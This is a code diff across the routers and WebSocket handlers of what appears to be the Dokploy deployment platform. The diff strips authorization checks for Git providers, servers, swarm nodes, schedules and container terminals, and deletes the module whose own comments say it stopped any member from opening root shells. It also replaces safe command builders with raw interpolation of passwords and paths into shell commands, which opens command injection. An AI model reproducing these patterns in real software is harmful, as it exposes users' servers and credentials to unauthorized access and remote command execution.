if (additionalFlags?.length) { if (additionalFlags?.length) {
rcloneFlags.push(...additionalFlags); rcloneFlags.push(...additionalFlags);
} }
const rcloneDestination = `:s3:${bucket}`; const rcloneDestination = `:s3:${bucket}`;
const rcloneCommand = `rclone ls ${rcloneFlags.join(" ")} ${quote([rcloneDestination])}`; const rcloneCommand = `rclone ls ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
if (IS_CLOUD && !input.serverId) { if (IS_CLOUD && !input.serverId) {
throw new TRPCError({ throw new TRPCError({

View File

@@ -153,7 +153,6 @@ export const environmentRouter = createTRPCRouter({
return environments; return environments;
} catch (error) { } catch (error) {
console.log(error);
throw new TRPCError({ throw new TRPCError({
code: "BAD_REQUEST", code: "BAD_REQUEST",
message: `Error fetching environments: ${error instanceof Error ? error.message : error}`, message: `Error fetching environments: ${error instanceof Error ? error.message : error}`,

View File

@@ -1,5 +1,4 @@
import { import {
assertGitProviderAccess,
createGitea, createGitea,
findGiteaById, findGiteaById,
getAccessibleGitProviderIds, getAccessibleGitProviderIds,
@@ -54,13 +53,9 @@ export const giteaRouter = createTRPCRouter({
} }
}), }),
one: protectedProcedure one: protectedProcedure.input(apiFindOneGitea).query(async ({ input }) => {
.input(apiFindOneGitea) return await findGiteaById(input.giteaId);
.query(async ({ input, ctx }) => { }),
const gitea = await findGiteaById(input.giteaId);
await assertGitProviderAccess(ctx.session, gitea.gitProvider);
return gitea;
}),
giteaProviders: protectedProcedure.query(async ({ ctx }) => { giteaProviders: protectedProcedure.query(async ({ ctx }) => {
const accessibleIds = await getAccessibleGitProviderIds(ctx.session); const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
@@ -94,7 +89,7 @@ export const giteaRouter = createTRPCRouter({
getGiteaRepositories: protectedProcedure getGiteaRepositories: protectedProcedure
.input(apiFindOneGitea) .input(apiFindOneGitea)
.query(async ({ input, ctx }) => { .query(async ({ input }) => {
const { giteaId } = input; const { giteaId } = input;
if (!giteaId) { if (!giteaId) {
@@ -104,9 +99,6 @@ export const giteaRouter = createTRPCRouter({
}); });
} }
const gitea = await findGiteaById(giteaId);
await assertGitProviderAccess(ctx.session, gitea.gitProvider);
try { try {
const repositories = await getGiteaRepositories(giteaId); const repositories = await getGiteaRepositories(giteaId);
return repositories; return repositories;
@@ -121,7 +113,7 @@ export const giteaRouter = createTRPCRouter({
getGiteaBranches: protectedProcedure getGiteaBranches: protectedProcedure
.input(apiFindGiteaBranches) .input(apiFindGiteaBranches)
.query(async ({ input, ctx }) => { .query(async ({ input }) => {
const { giteaId, owner, repositoryName } = input; const { giteaId, owner, repositoryName } = input;
if (!giteaId || !owner || !repositoryName) { if (!giteaId || !owner || !repositoryName) {
@@ -132,9 +124,6 @@ export const giteaRouter = createTRPCRouter({
}); });
} }
const gitea = await findGiteaById(giteaId);
await assertGitProviderAccess(ctx.session, gitea.gitProvider);
try { try {
return await getGiteaBranches({ return await getGiteaBranches({
giteaId, giteaId,
@@ -152,12 +141,9 @@ export const giteaRouter = createTRPCRouter({
testConnection: protectedProcedure testConnection: protectedProcedure
.input(apiGiteaTestConnection) .input(apiGiteaTestConnection)
.mutation(async ({ input, ctx }) => { .mutation(async ({ input }) => {
const giteaId = input.giteaId ?? ""; const giteaId = input.giteaId ?? "";
const gitea = await findGiteaById(giteaId);
await assertGitProviderAccess(ctx.session, gitea.gitProvider);
try { try {
const result = await testGiteaConnection({ const result = await testGiteaConnection({
giteaId, giteaId,

View File

@@ -1,5 +1,4 @@
import { import {
assertGitProviderAccess,
findGithubById, findGithubById,
getAccessibleGitProviderIds, getAccessibleGitProviderIds,
getGithubBranches, getGithubBranches,
@@ -23,27 +22,17 @@ import {
} from "@/server/db/schema"; } from "@/server/db/schema";
export const githubRouter = createTRPCRouter({ export const githubRouter = createTRPCRouter({
one: protectedProcedure one: protectedProcedure.input(apiFindOneGithub).query(async ({ input }) => {
.input(apiFindOneGithub) return await findGithubById(input.githubId);
.query(async ({ input, ctx }) => { }),
const github = await findGithubById(input.githubId);
await assertGitProviderAccess(ctx.session, github.gitProvider);
return github;
}),
getGithubRepositories: protectedProcedure getGithubRepositories: protectedProcedure
.input(apiFindOneGithub) .input(apiFindOneGithub)
.query(async ({ input, ctx }) => { .query(async ({ input }) => {
const github = await findGithubById(input.githubId);
await assertGitProviderAccess(ctx.session, github.gitProvider);
return await getGithubRepositories(input.githubId); return await getGithubRepositories(input.githubId);
}), }),
getGithubBranches: protectedProcedure getGithubBranches: protectedProcedure
.input(apiFindGithubBranches) .input(apiFindGithubBranches)
.query(async ({ input, ctx }) => { .query(async ({ input }) => {
if (input.githubId) {
const github = await findGithubById(input.githubId);
await assertGitProviderAccess(ctx.session, github.gitProvider);
}
return await getGithubBranches(input); return await getGithubBranches(input);
}), }),
githubProviders: protectedProcedure.query(async ({ ctx }) => { githubProviders: protectedProcedure.query(async ({ ctx }) => {
@@ -78,10 +67,8 @@ export const githubRouter = createTRPCRouter({
testConnection: protectedProcedure testConnection: protectedProcedure
.input(apiFindOneGithub) .input(apiFindOneGithub)
.mutation(async ({ input, ctx }) => { .mutation(async ({ input }) => {
try { try {
const github = await findGithubById(input.githubId);
await assertGitProviderAccess(ctx.session, github.gitProvider);
const result = await getGithubRepositories(input.githubId); const result = await getGithubRepositories(input.githubId);
return `Found ${result.length} repositories`; return `Found ${result.length} repositories`;
} catch (err) { } catch (err) {

View File

@@ -1,5 +1,4 @@
import { import {
assertGitProviderAccess,
createGitlab, createGitlab,
findGitlabById, findGitlabById,
getAccessibleGitProviderIds, getAccessibleGitProviderIds,
@@ -52,13 +51,9 @@ export const gitlabRouter = createTRPCRouter({
}); });
} }
}), }),
one: protectedProcedure one: protectedProcedure.input(apiFindOneGitlab).query(async ({ input }) => {
.input(apiFindOneGitlab) return await findGitlabById(input.gitlabId);
.query(async ({ input, ctx }) => { }),
const gitlab = await findGitlabById(input.gitlabId);
await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
return gitlab;
}),
gitlabProviders: protectedProcedure.query(async ({ ctx }) => { gitlabProviders: protectedProcedure.query(async ({ ctx }) => {
const accessibleIds = await getAccessibleGitProviderIds(ctx.session); const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
@@ -91,27 +86,19 @@ export const gitlabRouter = createTRPCRouter({
}), }),
getGitlabRepositories: protectedProcedure getGitlabRepositories: protectedProcedure
.input(apiFindOneGitlab) .input(apiFindOneGitlab)
.query(async ({ input, ctx }) => { .query(async ({ input }) => {
const gitlab = await findGitlabById(input.gitlabId);
await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
return await getGitlabRepositories(input.gitlabId); return await getGitlabRepositories(input.gitlabId);
}), }),
getGitlabBranches: protectedProcedure getGitlabBranches: protectedProcedure
.input(apiFindGitlabBranches) .input(apiFindGitlabBranches)
.query(async ({ input, ctx }) => { .query(async ({ input }) => {
if (input.gitlabId) {
const gitlab = await findGitlabById(input.gitlabId);
await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
}
return await getGitlabBranches(input); return await getGitlabBranches(input);
}), }),
testConnection: protectedProcedure testConnection: protectedProcedure
.input(apiGitlabTestConnection) .input(apiGitlabTestConnection)
.mutation(async ({ input, ctx }) => { .mutation(async ({ input }) => {
try { try {
const gitlab = await findGitlabById(input.gitlabId);
await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
const result = await testGitlabConnection(input); const result = await testGitlabConnection(input);
return `Found ${result} repositories`; return `Found ${result} repositories`;

View File

@@ -1,117 +0,0 @@
import {
createNetwork,
findNetworkById,
findNetworksToSync,
importDockerNetworks,
inspectNetwork,
recreateNetwork,
removeNetwork,
} from "@dokploy/server";
import { TRPCError } from "@trpc/server";
import { and, desc, eq, isNull } from "drizzle-orm";
import { z } from "zod";
import { createTRPCRouter, protectedProcedure } from "@/server/api/trpc";
import { db } from "@/server/db";
import {
apiCreateNetwork,
apiFindOneNetwork,
apiRemoveNetwork,
network as networkTable,
} from "@/server/db/schema";
export const networkRouter = createTRPCRouter({
all: protectedProcedure
.input(z.object({ serverId: z.string().optional() }))
.query(async ({ ctx, input }) => {
const rows = await db.query.network.findMany({
where: and(
eq(networkTable.organizationId, ctx.session.activeOrganizationId),
input.serverId
? eq(networkTable.serverId, input.serverId)
: isNull(networkTable.serverId),
),
orderBy: desc(networkTable.createdAt),
});
return rows;
}),
one: protectedProcedure
.input(apiFindOneNetwork)
.query(async ({ ctx, input }) => {
const row = await findNetworkById(input.networkId);
if (row.organizationId !== ctx.session.activeOrganizationId) {
throw new TRPCError({
code: "NOT_FOUND",
message: "Network not found",
});
}
return row;
}),
create: protectedProcedure
.input(apiCreateNetwork)
.mutation(async ({ ctx, input }) => {
return createNetwork(input, ctx.session.activeOrganizationId);
}),
networksToSync: protectedProcedure
.input(z.object({ serverId: z.string().optional() }))
.query(async ({ ctx, input }) => {
return findNetworksToSync(
ctx.session.activeOrganizationId,
input.serverId ?? null,
);
}),
import: protectedProcedure
.input(
z.object({
serverId: z.string().optional(),
names: z.array(z.string().min(1)).min(1),
}),
)
.mutation(async ({ ctx, input }) => {
return importDockerNetworks(
ctx.session.activeOrganizationId,
input.serverId ?? null,
input.names,
);
}),
inspect: protectedProcedure
.input(apiFindOneNetwork)
.query(async ({ ctx, input }) => {
const network = await findNetworkById(input.networkId);
if (network.organizationId !== ctx.session.activeOrganizationId) {
throw new TRPCError({
code: "NOT_FOUND",
message: "Network not found",
});
}
return inspectNetwork(input.networkId);
}),
recreate: protectedProcedure
.input(apiFindOneNetwork)
.mutation(async ({ ctx, input }) => {
const network = await findNetworkById(input.networkId);
if (network.organizationId !== ctx.session.activeOrganizationId) {
throw new TRPCError({
code: "NOT_FOUND",
message: "Network not found",
});
}
return recreateNetwork(input.networkId);
}),
remove: protectedProcedure
.input(apiRemoveNetwork)
.mutation(async ({ ctx, input }) => {
const network = await findNetworkById(input.networkId);
if (network.organizationId !== ctx.session.activeOrganizationId) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "Not authorized to delete this network",
});
}
return removeNetwork(input.networkId);
}),
});

View File

@@ -5,7 +5,6 @@ import {
findRegistryById, findRegistryById,
IS_CLOUD, IS_CLOUD,
removeRegistry, removeRegistry,
safeDockerLoginCommand,
updateRegistry, updateRegistry,
} from "@dokploy/server"; } from "@dokploy/server";
import { db } from "@dokploy/server/db"; import { db } from "@dokploy/server/db";
@@ -123,11 +122,7 @@ export const registryRouter = createTRPCRouter({
if (input.serverId && input.serverId !== "none") { if (input.serverId && input.serverId !== "none") {
await execAsyncRemote( await execAsyncRemote(
input.serverId, input.serverId,
safeDockerLoginCommand( `echo ${input.password} | docker ${args.join(" ")}`,
input.registryUrl,
input.username,
input.password,
),
); );
} else { } else {
await execFileAsync("docker", args, { await execFileAsync("docker", args, {
@@ -187,11 +182,7 @@ export const registryRouter = createTRPCRouter({
if (input.serverId && input.serverId !== "none") { if (input.serverId && input.serverId !== "none") {
await execAsyncRemote( await execAsyncRemote(
input.serverId, input.serverId,
safeDockerLoginCommand( `echo ${registryData.password} | docker ${args.join(" ")}`,
registryData.registryUrl,
registryData.username,
registryData.password,
),
); );
} else { } else {
await execFileAsync("docker", args, { await execFileAsync("docker", args, {

View File

@@ -13,7 +13,6 @@ import {
findMemberByUserId, findMemberByUserId,
} from "@dokploy/server/services/permission"; } from "@dokploy/server/services/permission";
import { import {
assertHostScheduleAccess,
createSchedule, createSchedule,
deleteSchedule, deleteSchedule,
findScheduleById, findScheduleById,
@@ -32,8 +31,6 @@ export const scheduleRouter = createTRPCRouter({
create: protectedProcedure create: protectedProcedure
.input(createScheduleSchema) .input(createScheduleSchema)
.mutation(async ({ input, ctx }) => { .mutation(async ({ input, ctx }) => {
await assertHostScheduleAccess(ctx, input.scheduleType, input.serverId);
const serviceId = input.applicationId || input.composeId; const serviceId = input.applicationId || input.composeId;
if (serviceId) { if (serviceId) {
await checkServicePermissionAndAccess(ctx, serviceId, { await checkServicePermissionAndAccess(ctx, serviceId, {
@@ -47,14 +44,51 @@ export const scheduleRouter = createTRPCRouter({
); );
} }
} else { } else {
if (input.scheduleType === "dokploy-server" && IS_CLOUD) {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Host-level schedules are not available in the cloud version.",
});
}
await checkPermission(ctx, { schedule: ["create"] }); await checkPermission(ctx, { schedule: ["create"] });
if (IS_CLOUD && input.scheduleType === "server" && input.serverId) { if (
await assertScheduledJobLimit( input.scheduleType === "server" ||
input.scheduleType === "dokploy-server"
) {
const member = await findMemberByUserId(
ctx.user.id,
ctx.session.activeOrganizationId, ctx.session.activeOrganizationId,
"server",
input.serverId,
); );
if (member.role !== "owner" && member.role !== "admin") {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Only owners and admins can manage server-level schedules.",
});
}
}
if (input.scheduleType === "server" && input.serverId) {
const targetServer = await findServerById(input.serverId);
if (
targetServer.organizationId !== ctx.session.activeOrganizationId
) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You don't have access to this server.",
});
}
if (IS_CLOUD) {
await assertScheduledJobLimit(
ctx.session.activeOrganizationId,
"server",
input.serverId,
);
}
} }
} }
const newSchedule = await createSchedule({ const newSchedule = await createSchedule({
@@ -101,22 +135,6 @@ export const scheduleRouter = createTRPCRouter({
}); });
} }
await assertHostScheduleAccess(
ctx,
existingSchedule.scheduleType,
existingSchedule.serverId,
);
if (
input.scheduleType &&
input.scheduleType !== existingSchedule.scheduleType
) {
await assertHostScheduleAccess(
ctx,
input.scheduleType,
input.serverId ?? existingSchedule.serverId,
);
}
const serviceId = const serviceId =
existingSchedule.applicationId || existingSchedule.composeId; existingSchedule.applicationId || existingSchedule.composeId;
if (serviceId) { if (serviceId) {
@@ -124,7 +142,47 @@ export const scheduleRouter = createTRPCRouter({
schedule: ["update"], schedule: ["update"],
}); });
} else { } else {
if (existingSchedule.scheduleType === "dokploy-server" && IS_CLOUD) {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Host-level schedules are not available in the cloud version.",
});
}
await checkPermission(ctx, { schedule: ["update"] }); await checkPermission(ctx, { schedule: ["update"] });
if (
existingSchedule.scheduleType === "server" ||
existingSchedule.scheduleType === "dokploy-server"
) {
const member = await findMemberByUserId(
ctx.user.id,
ctx.session.activeOrganizationId,
);
if (member.role !== "owner" && member.role !== "admin") {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Only owners and admins can manage server-level schedules.",
});
}
}
if (
existingSchedule.scheduleType === "server" &&
existingSchedule.serverId
) {
const targetServer = await findServerById(existingSchedule.serverId);
if (
targetServer.organizationId !== ctx.session.activeOrganizationId
) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You don't have access to this server.",
});
}
}
} }
const updatedSchedule = await updateSchedule(input); const updatedSchedule = await updateSchedule(input);
@@ -164,19 +222,50 @@ export const scheduleRouter = createTRPCRouter({
.input(z.object({ scheduleId: z.string() })) .input(z.object({ scheduleId: z.string() }))
.mutation(async ({ input, ctx }) => { .mutation(async ({ input, ctx }) => {
const scheduleItem = await findScheduleById(input.scheduleId); const scheduleItem = await findScheduleById(input.scheduleId);
await assertHostScheduleAccess(
ctx,
scheduleItem.scheduleType,
scheduleItem.serverId,
);
const serviceId = scheduleItem.applicationId || scheduleItem.composeId; const serviceId = scheduleItem.applicationId || scheduleItem.composeId;
if (serviceId) { if (serviceId) {
await checkServicePermissionAndAccess(ctx, serviceId, { await checkServicePermissionAndAccess(ctx, serviceId, {
schedule: ["delete"], schedule: ["delete"],
}); });
} else { } else {
if (scheduleItem.scheduleType === "dokploy-server" && IS_CLOUD) {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Host-level schedules are not available in the cloud version.",
});
}
await checkPermission(ctx, { schedule: ["delete"] }); await checkPermission(ctx, { schedule: ["delete"] });
if (
scheduleItem.scheduleType === "server" ||
scheduleItem.scheduleType === "dokploy-server"
) {
const member = await findMemberByUserId(
ctx.user.id,
ctx.session.activeOrganizationId,
);
if (member.role !== "owner" && member.role !== "admin") {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Only owners and admins can manage server-level schedules.",
});
}
}
if (scheduleItem.scheduleType === "server" && scheduleItem.serverId) {
const targetServer = await findServerById(scheduleItem.serverId);
if (
targetServer.organizationId !== ctx.session.activeOrganizationId
) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You don't have access to this server.",
});
}
}
} }
await deleteSchedule(input.scheduleId); await deleteSchedule(input.scheduleId);
@@ -259,23 +348,9 @@ export const scheduleRouter = createTRPCRouter({
where: where[input.scheduleType], where: where[input.scheduleType],
orderBy: [asc(schedules.createdAt)], orderBy: [asc(schedules.createdAt)],
with: { with: {
application: { application: true,
columns: {
applicationId: true,
appName: true,
name: true,
serverId: true,
},
},
server: true, server: true,
compose: { compose: true,
columns: {
composeId: true,
appName: true,
name: true,
serverId: true,
},
},
deployments: { deployments: {
orderBy: [desc(deployments.createdAt)], orderBy: [desc(deployments.createdAt)],
}, },
@@ -314,19 +389,50 @@ export const scheduleRouter = createTRPCRouter({
.input(z.object({ scheduleId: z.string().min(1) })) .input(z.object({ scheduleId: z.string().min(1) }))
.mutation(async ({ input, ctx }) => { .mutation(async ({ input, ctx }) => {
const scheduleItem = await findScheduleById(input.scheduleId); const scheduleItem = await findScheduleById(input.scheduleId);
await assertHostScheduleAccess(
ctx,
scheduleItem.scheduleType,
scheduleItem.serverId,
);
const serviceId = scheduleItem.applicationId || scheduleItem.composeId; const serviceId = scheduleItem.applicationId || scheduleItem.composeId;
if (serviceId) { if (serviceId) {
await checkServicePermissionAndAccess(ctx, serviceId, { await checkServicePermissionAndAccess(ctx, serviceId, {
schedule: ["create"], schedule: ["create"],
}); });
} else { } else {
if (scheduleItem.scheduleType === "dokploy-server" && IS_CLOUD) {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Host-level schedules are not available in the cloud version.",
});
}
await checkPermission(ctx, { schedule: ["create"] }); await checkPermission(ctx, { schedule: ["create"] });
if (
scheduleItem.scheduleType === "server" ||
scheduleItem.scheduleType === "dokploy-server"
) {
const member = await findMemberByUserId(
ctx.user.id,
ctx.session.activeOrganizationId,
);
if (member.role !== "owner" && member.role !== "admin") {
throw new TRPCError({
code: "FORBIDDEN",
message:
"Only owners and admins can manage server-level schedules.",
});
}
}
if (scheduleItem.scheduleType === "server" && scheduleItem.serverId) {
const targetServer = await findServerById(scheduleItem.serverId);
if (
targetServer.organizationId !== ctx.session.activeOrganizationId
) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You don't have access to this server.",
});
}
}
} }
try { try {
await runCommand(input.scheduleId); await runCommand(input.scheduleId);

View File

@@ -413,14 +413,6 @@ export const serverRouter = createTRPCRouter({
.input(apiRemoveServer) .input(apiRemoveServer)
.mutation(async ({ input, ctx }) => { .mutation(async ({ input, ctx }) => {
try { try {
const currentServer = await findServerById(input.serverId);
if (currentServer.organizationId !== ctx.session.activeOrganizationId) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You are not authorized to delete this server",
});
}
const activeServers = await haveActiveServices(input.serverId); const activeServers = await haveActiveServices(input.serverId);
if (activeServers) { if (activeServers) {
@@ -429,6 +421,7 @@ export const serverRouter = createTRPCRouter({
message: "Server has active services, please delete them first", message: "Server has active services, please delete them first",
}); });
} }
const currentServer = await findServerById(input.serverId);
await audit(ctx, { await audit(ctx, {
action: "delete", action: "delete",
resourceType: "server", resourceType: "server",

View File

@@ -18,30 +18,12 @@ export const swarmRouter = createTRPCRouter({
serverId: z.string().optional(), serverId: z.string().optional(),
}), }),
) )
.query(async ({ input, ctx }) => { .query(async ({ input }) => {
if (input.serverId) {
const server = await findServerById(input.serverId);
if (server.organizationId !== ctx.session?.activeOrganizationId) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You are not authorized to access this server",
});
}
}
return await getSwarmNodes(input.serverId); return await getSwarmNodes(input.serverId);
}), }),
getNodeInfo: withPermission("server", "read") getNodeInfo: withPermission("server", "read")
.input(z.object({ nodeId: z.string(), serverId: z.string().optional() })) .input(z.object({ nodeId: z.string(), serverId: z.string().optional() }))
.query(async ({ input, ctx }) => { .query(async ({ input }) => {
if (input.serverId) {
const server = await findServerById(input.serverId);
if (server.organizationId !== ctx.session?.activeOrganizationId) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You are not authorized to access this server",
});
}
}
return await getNodeInfo(input.nodeId, input.serverId); return await getNodeInfo(input.nodeId, input.serverId);
}), }),
getNodeApps: withPermission("server", "read") getNodeApps: withPermission("server", "read")
@@ -50,16 +32,7 @@ export const swarmRouter = createTRPCRouter({
serverId: z.string().optional(), serverId: z.string().optional(),
}), }),
) )
.query(async ({ input, ctx }) => { .query(async ({ input }) => {
if (input.serverId) {
const server = await findServerById(input.serverId);
if (server.organizationId !== ctx.session?.activeOrganizationId) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You are not authorized to access this server",
});
}
}
return getNodeApplications(input.serverId); return getNodeApplications(input.serverId);
}), }),
getAppInfos: withPermission("server", "read") getAppInfos: withPermission("server", "read")
@@ -81,16 +54,7 @@ export const swarmRouter = createTRPCRouter({
serverId: z.string().optional(), serverId: z.string().optional(),
}), }),
) )
.query(async ({ input, ctx }) => { .query(async ({ input }) => {
if (input.serverId) {
const server = await findServerById(input.serverId);
if (server.organizationId !== ctx.session?.activeOrganizationId) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You are not authorized to access this server",
});
}
}
return await getApplicationInfo(input.appName, input.serverId); return await getApplicationInfo(input.appName, input.serverId);
}), }),
getContainerStats: withPermission("server", "read") getContainerStats: withPermission("server", "read")

View File

@@ -13,8 +13,6 @@ import { db } from "@dokploy/server/db";
import { import {
createVolumeBackupSchema, createVolumeBackupSchema,
updateVolumeBackupSchema, updateVolumeBackupSchema,
VOLUME_NAME_MESSAGE,
VOLUME_NAME_REGEX,
volumeBackups, volumeBackups,
} from "@dokploy/server/db/schema"; } from "@dokploy/server/db/schema";
import { findDestinationById } from "@dokploy/server/services/destination"; import { findDestinationById } from "@dokploy/server/services/destination";
@@ -57,24 +55,14 @@ export const volumeBackupsRouter = createTRPCRouter({
return await db.query.volumeBackups.findMany({ return await db.query.volumeBackups.findMany({
where: eq(volumeBackups[`${input.volumeBackupType}Id`], input.id), where: eq(volumeBackups[`${input.volumeBackupType}Id`], input.id),
with: { with: {
application: { application: true,
columns: { applicationId: true, appName: true, serverId: true }, postgres: true,
}, mysql: true,
postgres: { mariadb: true,
columns: { postgresId: true, appName: true, serverId: true }, mongo: true,
}, redis: true,
mysql: { columns: { mysqlId: true, appName: true, serverId: true } }, compose: true,
mariadb: { libsql: true,
columns: { mariadbId: true, appName: true, serverId: true },
},
mongo: { columns: { mongoId: true, appName: true, serverId: true } },
redis: { columns: { redisId: true, appName: true, serverId: true } },
compose: {
columns: { composeId: true, appName: true, serverId: true },
},
libsql: {
columns: { libsqlId: true, appName: true, serverId: true },
},
}, },
orderBy: [desc(volumeBackups.createdAt)], orderBy: [desc(volumeBackups.createdAt)],
}); });
@@ -287,10 +275,7 @@ export const volumeBackupsRouter = createTRPCRouter({
z.object({ z.object({
backupFileName: z.string().min(1), backupFileName: z.string().min(1),
destinationId: z.string().min(1), destinationId: z.string().min(1),
volumeName: z volumeName: z.string().min(1),
.string()
.min(1)
.regex(VOLUME_NAME_REGEX, VOLUME_NAME_MESSAGE),
id: z.string().min(1), id: z.string().min(1),
serviceType: z.enum(["application", "compose"]), serviceType: z.enum(["application", "compose"]),
serverId: z.string().optional(), serverId: z.string().optional(),

View File

@@ -1,89 +0,0 @@
import { getAccessibleServerIds } from "@dokploy/server";
import {
checkServiceAccess,
findMemberByUserId,
hasPermission,
} from "@dokploy/server/services/permission";
type WssUser = { id: string } | null | undefined;
type WssSession = { activeOrganizationId?: string | null } | null | undefined;
const buildCtx = (user: { id: string }, activeOrganizationId: string) => ({
user: { id: user.id },
session: { activeOrganizationId },
});
// Authorizes docker/container operations opened over a WebSocket (container
// terminal, container logs, container stats). Requires the docker permission
// (owner/admin, or a member explicitly granted canAccessToDocker) and, for a
// remote server, that the server is accessible to the caller. Previously these
// handlers only checked session + organization, so any member could reach a
// root shell / logs of any container.
export const canAccessDockerOverWss = async (
user: WssUser,
session: WssSession,
serverId?: string | null,
serviceId?: string | null,
): Promise<boolean> => {
if (!user || !session?.activeOrganizationId) return false;
const ctx = buildCtx(user, session.activeOrganizationId);
// When the container belongs to a specific Dokploy service (opened from a
// service page, so serviceId is present), access to that service is the
// authoritative gate — matching the service tRPC endpoints (e.g.
// application.readLogs, which check service access only). A member granted
// the service can read its logs / open its terminal even without the broad
// "docker" permission or explicit access to the server it runs on.
if (serviceId) {
try {
await checkServiceAccess(ctx, serviceId, "read");
return true;
} catch {
return false;
}
}
// Generic Docker overview (no service context): mirror the docker tRPC router
// — require the docker permission and access to the target server.
if (!(await hasPermission(ctx, { docker: ["read"] }))) return false;
if (serverId && serverId !== "local") {
const accessible = await getAccessibleServerIds({
userId: user.id,
activeOrganizationId: session.activeOrganizationId,
});
if (!accessible.has(serverId)) return false;
}
return true;
};
// Authorizes the host/server SSH terminal opened over a WebSocket. The local
// host terminal is a root shell on the control-plane host, so it is restricted
// to owner/admin. A remote server terminal is gated on server access.
export const canAccessTerminalOverWss = async (
user: WssUser,
session: WssSession,
serverId?: string | null,
): Promise<boolean> => {
if (!user || !session?.activeOrganizationId) return false;
if (serverId && serverId !== "local") {
const accessible = await getAccessibleServerIds({
userId: user.id,
activeOrganizationId: session.activeOrganizationId,
});
return accessible.has(serverId);
}
try {
const member = await findMemberByUserId(
user.id,
session.activeOrganizationId,
);
return member?.role === "owner" || member?.role === "admin";
} catch {
return false;
}
};

View File

@@ -3,7 +3,6 @@ import { findServerById, IS_CLOUD, validateRequest } from "@dokploy/server";
import { spawn } from "node-pty"; import { spawn } from "node-pty";
import { Client } from "ssh2"; import { Client } from "ssh2";
import { WebSocketServer } from "ws"; import { WebSocketServer } from "ws";
import { canAccessDockerOverWss } from "./authorize";
import { import {
getShell, getShell,
isValidContainerId, isValidContainerId,
@@ -42,7 +41,6 @@ export const setupDockerContainerLogsWebSocketServer = (
const since = url.searchParams.get("since") ?? "all"; const since = url.searchParams.get("since") ?? "all";
const serverId = url.searchParams.get("serverId"); const serverId = url.searchParams.get("serverId");
const runType = url.searchParams.get("runType"); const runType = url.searchParams.get("runType");
const serviceId = url.searchParams.get("serviceId");
const { user, session } = await validateRequest(req); const { user, session } = await validateRequest(req);
if (!containerId) { if (!containerId) {
@@ -76,11 +74,6 @@ export const setupDockerContainerLogsWebSocketServer = (
return; return;
} }
if (!(await canAccessDockerOverWss(user, session, serverId, serviceId))) {
ws.close(4003, "Not authorized");
return;
}
// Set up keep-alive ping mechanism to prevent timeout // Set up keep-alive ping mechanism to prevent timeout
// Send ping every 45 seconds to keep connection alive // Send ping every 45 seconds to keep connection alive
const pingInterval = setInterval(() => { const pingInterval = setInterval(() => {

View File

@@ -3,7 +3,6 @@ import { findServerById, IS_CLOUD, validateRequest } from "@dokploy/server";
import { spawn } from "node-pty"; import { spawn } from "node-pty";
import { Client } from "ssh2"; import { Client } from "ssh2";
import { WebSocketServer } from "ws"; import { WebSocketServer } from "ws";
import { canAccessDockerOverWss } from "./authorize";
import { isValidContainerId, isValidShell } from "./utils"; import { isValidContainerId, isValidShell } from "./utils";
export const setupDockerContainerTerminalWebSocketServer = ( export const setupDockerContainerTerminalWebSocketServer = (
@@ -33,7 +32,6 @@ export const setupDockerContainerTerminalWebSocketServer = (
const containerId = url.searchParams.get("containerId"); const containerId = url.searchParams.get("containerId");
const activeWay = url.searchParams.get("activeWay"); const activeWay = url.searchParams.get("activeWay");
const serverId = url.searchParams.get("serverId"); const serverId = url.searchParams.get("serverId");
const serviceId = url.searchParams.get("serviceId");
const { user, session } = await validateRequest(req); const { user, session } = await validateRequest(req);
if (!containerId) { if (!containerId) {
@@ -60,11 +58,6 @@ export const setupDockerContainerTerminalWebSocketServer = (
ws.close(); ws.close();
return; return;
} }
if (!(await canAccessDockerOverWss(user, session, serverId, serviceId))) {
ws.close(4003, "Not authorized");
return;
}
try { try {
if (serverId) { if (serverId) {
const server = await findServerById(serverId); const server = await findServerById(serverId);

View File

@@ -9,7 +9,6 @@ import {
validateRequest, validateRequest,
} from "@dokploy/server"; } from "@dokploy/server";
import { WebSocketServer } from "ws"; import { WebSocketServer } from "ws";
import { canAccessDockerOverWss } from "./authorize";
export const setupDockerStatsMonitoringSocketServer = ( export const setupDockerStatsMonitoringSocketServer = (
server: http.Server<typeof http.IncomingMessage, typeof http.ServerResponse>, server: http.Server<typeof http.IncomingMessage, typeof http.ServerResponse>,
@@ -45,7 +44,6 @@ export const setupDockerStatsMonitoringSocketServer = (
| "application" | "application"
| "stack" | "stack"
| "docker-compose"; | "docker-compose";
const serviceId = url.searchParams.get("serviceId");
const { user, session } = await validateRequest(req); const { user, session } = await validateRequest(req);
if (!appName) { if (!appName) {
@@ -57,11 +55,6 @@ export const setupDockerStatsMonitoringSocketServer = (
ws.close(); ws.close();
return; return;
} }
if (!(await canAccessDockerOverWss(user, session, null, serviceId))) {
ws.close(4003, "Not authorized");
return;
}
const intervalId = setInterval(async () => { const intervalId = setInterval(async () => {
try { try {
// Special case: when monitoring "dokploy", get host system stats instead of container stats // Special case: when monitoring "dokploy", get host system stats instead of container stats

View File

@@ -9,7 +9,6 @@ import { publicIpv4, publicIpv6 } from "public-ip";
import { Client, type ConnectConfig } from "ssh2"; import { Client, type ConnectConfig } from "ssh2";
import { WebSocketServer } from "ws"; import { WebSocketServer } from "ws";
import { getDockerHost } from "../utils/docker"; import { getDockerHost } from "../utils/docker";
import { canAccessTerminalOverWss } from "./authorize";
